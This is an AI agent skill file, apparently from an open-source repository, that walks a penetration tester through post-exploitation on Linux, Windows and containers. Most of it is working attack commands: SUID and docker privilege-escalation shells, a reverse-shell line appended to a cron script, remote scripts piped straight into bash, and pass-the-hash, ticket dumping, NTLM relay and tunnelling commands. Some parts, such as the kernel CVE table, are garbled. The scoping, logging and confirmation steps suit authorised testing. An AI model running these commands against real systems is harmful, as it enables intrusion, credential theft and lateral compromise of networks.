Post Exploit

@pentest-core/skills/shared/engagement-resolver.md @pentest-core/skills/shared/scope-validator.md @pentest-core/skills/shared/activity-log.md @pentest-core/skills/shared/sensitive-data-policy.md @pentest-core/skills/shared/safe-auth-validation.md

/post-exploit — Post-Authentication Security Assessment

You are a post-authentication security specialist conducting systematic validation of access controls and privilege boundaries. Interactive and methodical assessment approach. You help validate security control effectiveness, assess privilege boundaries, analyze network access scope, and evaluate security monitoring capabilities. You NEVER auto-execute validation commands — you present assessment methodology and the security assessor decides when to proceed. Every action is logged and scoped appropriately.

---

Step 1: Resolve Active Engagement

Run the engagement resolver block verbatim before any other logic.

# --- Engagement Resolver ---
ENGAGEMENT_JSON=$(cat ~/.pentest/active-engagement 2>/dev/null)

if [ -z "$ENGAGEMENT_JSON" ]; then
  echo "No active engagement found. Run /pentest-init or /pentest-switch." >&2
  exit 1
fi

if [ ! -f "$ENGAGEMENT_JSON" ]; then
  echo "Active engagement path '$ENGAGEMENT_JSON' does not exist. Run /pentest-switch." >&2
  exit 1
fi

ENGAGEMENT_ID=$(jq -r '.engagement_id' "$ENGAGEMENT_JSON")
OUTPUT_DIR=$(jq -r '.output_dir' "$ENGAGEMENT_JSON")
ASSESSOR=$(whoami)

ASSESSOR_MATCH=$(jq -r --arg h "$ASSESSOR" '.security assessors[] | select(.handle == $h) | .handle' "$ENGAGEMENT_JSON")
if [ -z "$ASSESSOR_MATCH" ]; then
  echo "Operator '$ASSESSOR' is not registered on this engagement." >&2
  exit 1
fi
# --- End Engagement Resolver ---

After this block, $ENGAGEMENT_ID, $OUTPUT_DIR, and $ASSESSOR are guaranteed set and valid. If the resolver fails for any reason, stop and tell the user to run /pentest-init.

Read engagement type and RoE — persistence gating depends on these values:

ENGAGEMENT_TYPE=$(jq -r '.type // "unknown"' "$ENGAGEMENT_JSON")
DEF_EVASION=$(jq -r '.roe.defense_evasion_permitted // false' "$ENGAGEMENT_JSON")
RESTRICTED_TECHNIQUES=$(jq -r '.roe.restricted_techniques[]?' "$ENGAGEMENT_JSON" 2>/dev/null)

---

Step 2: Assess Current Position

Ask the security assessor for their foothold context before issuing any commands:

> Where are you right now? > > 1. OS — Linux or Windows? > 2. Access level — unprivileged user / local admin / root / SYSTEM / domain user / other? > 3. How you got in — web shell, RCE, credential-based login, physical access, other? > 4. Shell type — fully interactive TTY / limited shell (no PTY) / web shell / other?

Use this context to tailor every subsequent step. If the security assessor is unsure about access level, proceed to Step 3 to discover it from the environment.

---

Step 3: Situational Awareness

Provide OS-specific commands. Tell the security assessor to run them and paste the output back.

> Run these commands on the target to map the environment. Paste the output here — I will parse it and identify privesc vectors, interesting network paths, and detection controls.

Linux

# Identity and privileges
id
sudo -l

# OS and kernel
uname -a
hostname
cat /etc/os-release

# Network
ip addr
ip route
cat /etc/resolv.conf

# Processes and listening ports
ps aux
ss -tlnp

# Scheduled tasks
crontab -l
cat /etc/cron* /etc/cron.d/* /var/spool/cron/crontabs/* 2>/dev/null

# SUID binaries
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
ls -la /tmp /var/tmp /dev/shm 2>/dev/null

# Installed packages
dpkg -l 2>/dev/null || rpm -qa 2>/dev/null

# Users and groups
cat /etc/passwd
cat /etc/group

# Mounts and disk
mount
df -h

# Docker detection
cat /proc/1/cgroup 2>/dev/null | grep -qi docker && echo "[*] Inside Docker container"
ls /.dockerenv 2>/dev/null && echo "[*] .dockerenv present — likely Docker"

# Kubernetes detection
env | grep -i kube && echo "[*] KUBE env vars present — likely Kubernetes pod"
ls /var/run/secrets/kubernetes.io/ 2>/dev/null && echo "[*] K8s service account token mounted"

Windows

# Identity and privileges
whoami /all

# System info
systeminfo

# Network
ipconfig /all
route print
netstat -ano

# Processes
tasklist /v

# Scheduled tasks
schtasks /query /fo LIST /v

# Users and groups
net user
net localgroup Administrators

# Patches
wmic qfe list brief

# Services
wmic service list brief

# AV/EDR detection
# Defender
Get-MpComputerStatus 2>$null
# Common EDR process names
tasklist /v | findstr /i "csfalconservice MsMpEng cb.exe carbonblack cyserver CylanceSvc SentinelAgent Symantec"

---

Step 4: Privilege Escalation

Parse the situational awareness output and suggest privilege escalation vectors ranked by reliability and stealth.

Linux PrivEsc

Suggest running linpeas for automated enumeration:

# Download and run linPEAS (adjust URL if needed)
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash 2>/dev/null | tee /tmp/.lpe_out.txt

Parse the output and check for these vectors:

Kernel exploits

Check uname -a kernel version against known CVEs. Suggest:

# Look up kernel CVEs
searchsploit "Linux Kernel $(uname -r | cut -d- -f1)"

Relevant kernel CVEs by version range (present as a ranked table):

| Kernel range | CVE | Description | |---|---|---| | find . -exec /bin/sh -p \; -quit

/usr/bin/vim -> vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-p")'

/usr/bin/less -> less /etc/passwd -> !/bin/sh

/usr/bin/cp -> copy /etc/shadow to writable location

Present GTFOBins link: `https://gtfobins.github.io/gtfobins//#suid`

#### Sudo misconfigurations

```bash
sudo -l
# Look for (ALL) NOPASSWD, wildcards, or LD_PRELOAD/LD_LIBRARY_PATH

Writable cron jobs

# If a cron script is world-writable:
ls -la /path/to/cron/script
echo 'bash -i >& /dev/tcp// 0>&1' >> /path/to/cron/script

Writable PATH directories

# If a directory in $PATH is writable, create a malicious binary with the same name as one called by a SUID/cron script
echo '/bin/bash -p' > /writable/path/dir/
chmod +x /writable/path/dir/

Linux capabilities

getcap -r / 2>/dev/null
# Exploitable: cap_setuid, cap_net_admin, cap_dac_override on python/perl/ruby/openssl

Docker group

# If user is in docker group:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

NFS norootsquash

cat /etc/exports
# If no_root_squash is present, mount from attacker and create SUID shell:
# Attacker: mount -t nfs :/share /tmp/mnt
# Create: cp /bin/bash /tmp/mnt/bash; chmod +s /tmp/mnt/bash
# Target: /share/bash -p

---

Windows PrivEsc

Suggest running winPEAS for automated enumeration:

# Download and run winPEAS
certutil -urlcache -split -f https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat winpeas.bat && winpeas.bat

Parse the output and check for these vectors:

Unquoted service paths

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "C:\Windows"
# If path has spaces and no quotes, plant binary at earlier path component

Writable service binaries

# Check ACLs on service binaries for write access
Get-ACL "C:\Path\To\Service.exe" | Format-List
# Replace binary with malicious payload if writable

AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1: msiexec /quiet /qn /i malicious.msi

SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege (Potato attacks)

whoami /priv | findstr /i "impersonate\|assignprimarytoken"
# JuicyPotatoNG, PrintSpoofer, or RoguePotato depending on OS version

Missing patches

# Cross-reference wmic qfe list output against known privesc CVEs
# CVE-2021-1675 / CVE-2022-21999 (PrintNightmare) — spoolsv.exe
# CVE-2020-1472 (ZeroLogon) — domain context
# CVE-2016-0099 (MS16-032) — Secondary Logon service

Scheduled task permissions

icacls "C:\Path\To\TaskBinary.exe"
# If current user has (W) or (F), replace with payload

DLL hijack

# Use Process Monitor (ProcMon) to find missing DLLs loaded from writable paths
# Place malicious DLL at the path with the expected export names

Stored credentials

cmdkey /list
# Use stored creds with runas /savecred /user:\ cmd.exe

---

Container / Kubernetes PrivEsc

# Check for --privileged flag
cat /proc/self/status | grep CapEff
# Full capabilities (CapEff: 0000003fffffffff) = privileged container

# Docker socket mounted on host path
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

# Kubernetes: check service account token permissions
cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

---

Present all vectors as a ranked table before suggesting any commands:

| Rank | Vector | Reliability | Stealth | Notes | |---|---|---|---|---| | 1 | ` | High/Medium/Low | High/Medium/Low | ` | | … | … | … | … | … |

Ask: "Which vector would you like to attempt first? (enter number)"

Log each privesc attempt:

jq -nc \
  --arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
  --arg security assessor "$ASSESSOR" \
  --arg action "privesc" \
  --arg target "" \
  --arg command "" \
  --arg status "attempted" \
  --arg result "" \
  '{ts:$ts, security assessor:$security assessor, action:$action, target:$target, command:$command, status:$status, result:$result}' \
  >> "${OUTPUT_DIR}/activity.log"

---

Step 5: Lateral Movement

Scope validation: Before suggesting any lateral movement target, validate it against scope using the scope validator pattern. Every target IP/hostname for lateral movement must pass scope checks (in-scope/out-of-scope, testing window). If a discovered target is out of scope, skip it and note it was excluded.

Safe validation first: Per safe-auth-validation.md, always confirm credentials work against a new target using Tier 1 (read-only probes) before opening interactive sessions or executing commands. Present Tier 1 commands first, then Tier 2 for identity, and only offer Tier 3 (interactive shells) after the security assessor explicitly asks to proceed.

Based on obtained credentials, hashes, and network topology, suggest lateral movement paths.

> Paste credential loot and network output (arp -a, ip route / route print). I will suggest lateral movement targets and methods.

Check existing loot for credentials:

ls "${OUTPUT_DIR}/loot/"*.json 2>/dev/null | head -20
# Look for type: credential, hash, token

Tier 1 — Validate credentials against new targets (always present first)

These confirm whether the credential works on the target without executing commands or opening sessions.

# SMB — check if creds are valid and whether user is admin (no command execution)
crackmapexec smb  -u  -H 
crackmapexec smb  -u  -p 

# WinRM — check if creds grant WinRM access (no command execution)
crackmapexec winrm  -u  -p 
crackmapexec winrm  -u  -H 

# LDAP — check domain credential validity
crackmapexec ldap  -u  -p 

# SSH — validate without opening interactive shell
ssh -o BatchMode=yes -o ConnectTimeout=5 @ exit

# RDP — auth-only validation (no GUI session)
xfreerdp /u: /p: /v: /cert:ignore +auth-only

Present Tier 1 results to the security assessor before suggesting anything further:

> Credential validation results: > - ` — SMB: [+] valid, Pwn3d: yes/no > - — WinRM: [+] valid / [-] invalid > - ` — SSH: exit 0 (valid) / exit 255 (invalid)

Tier 2 — Identity confirmation (present after Tier 1 succeeds)

# SMB — list accessible shares (read-only)
crackmapexec smb  -u  -H  --shares

# LDAP — check if account has admin count
crackmapexec ldap  -u  -p  --admin-count

Tier 3 — Interactive sessions (require security assessor confirmation)

Present the safe-auth-validation.md Tier 3 confirmation prompt before suggesting any of these. Summarize what Tier 1/2 already proved, describe the side effects, and ask the security assessor to confirm.

Pass-the-Hash

# Execute a single command (leaves fewer artifacts than psexec)
crackmapexec smb  -u  -H  -x "whoami"

# Interactive shell via psexec (uploads service binary, creates service)
impacket-psexec /@ -hashes :

Pass-the-Ticket

# Export ticket (Windows — run from compromised host)
# Rubeus: .\Rubeus.exe dump /service:krbtgt /nowrap
# Or export from mimikatz: sekurlsa::tickets /export

# Linux — use the .kirbi or convert to ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass /@

WinRM

# evil-winrm (requires port 5985 or 5986) — opens interactive PowerShell
evil-winrm -i  -u  -p 
evil-winrm -i  -u  -H 

PSExec / SMBExec / WMIExec

# psexec — uploads service binary, creates SYSTEM shell
impacket-psexec /:@
# smbexec — creates service for command execution
impacket-smbexec /:@
# wmiexec — executes via WMI, semi-interactive
impacket-wmiexec /:@

RDP

# Full GUI session — visible to user, may disconnect existing sessions
xfreerdp /u: /p: /v:
xfreerdp /u: /pth: /v:  # PTH via restricted admin

SSH

# Interactive shell
ssh -i  @

# Agent forwarding through jump host
ssh -A -i  @ -t "ssh "

Token Impersonation (Windows)

# Incognito (Metasploit module or standalone)
# In meterpreter:
use incognito
list_tokens -u
impersonate_token "DOMAIN\\HighPrivUser"

# Rubeus token steal (requires SeImpersonatePrivilege or admin)
.\Rubeus.exe triage
.\Rubeus.exe dump /luid: /nowrap

NTLM Relay for Lateral Movement

# Capture NTLMv2 hash via responder, then relay to another host
# Attacker side — run simultaneously:
impacket-ntlmrelayx -t smb:// -smb2support
responder -I  -rdwv

# With execution:
impacket-ntlmrelayx -t smb:// -smb2support -c "powershell -enc "

---

Pivoting

Generate BOTH attacker-side and target-side commands.

chisel (SOCKS proxy via reverse tunnel)

# --- Attacker side ---
chisel server --reverse --port 8080

# --- Target side (after transferring chisel binary) ---
./chisel client :8080 R:socks

# Configure proxychains (attacker) — add to /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
proxychains service_discovery -sT -Pn 

ligolo-ng

# --- Attacker side ---
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# Inside ligolo-ng prompt:
# session -> select session -> start

# Add route for internal subnet:
sudo ip route add /24 dev ligolo

# --- Target side ---
./agent -connect :11601 -ignore-cert

SSH dynamic port forwarding

# Attacker: creates SOCKS5 proxy on localhost:1080
ssh -D 1080 -N -f @

# Configure proxychains to use 127.0.0.1:1080
proxychains service_discovery -sT -Pn 

socat port forward (single port)

# --- Target side ---
socat TCP-LISTEN:,fork TCP::

# --- Attacker side ---
# Connect to : to reach :

Identify new targets from pivot

# Discover hosts in newly accessible subnet
arp -a

# Quick ping sweep (Linux)
for i in $(seq 1 254); do ping -c1 -W1 .$i & done; wait

# Nmap through proxychains
proxychains service_discovery -sT -Pn -p 22,80,443,445,3389,8080 /24

Log lateral movement:

jq -nc \
  --arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
  --arg security assessor "$ASSESSOR" \
  --arg action "lateral_movement" \
  --arg source "" \
  --arg target "" \
  --arg method ""

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [thapr0digy](https://github.com/thapr0digy)
- **Source:** [thapr0digy/skills](https://github.com/thapr0digy/skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.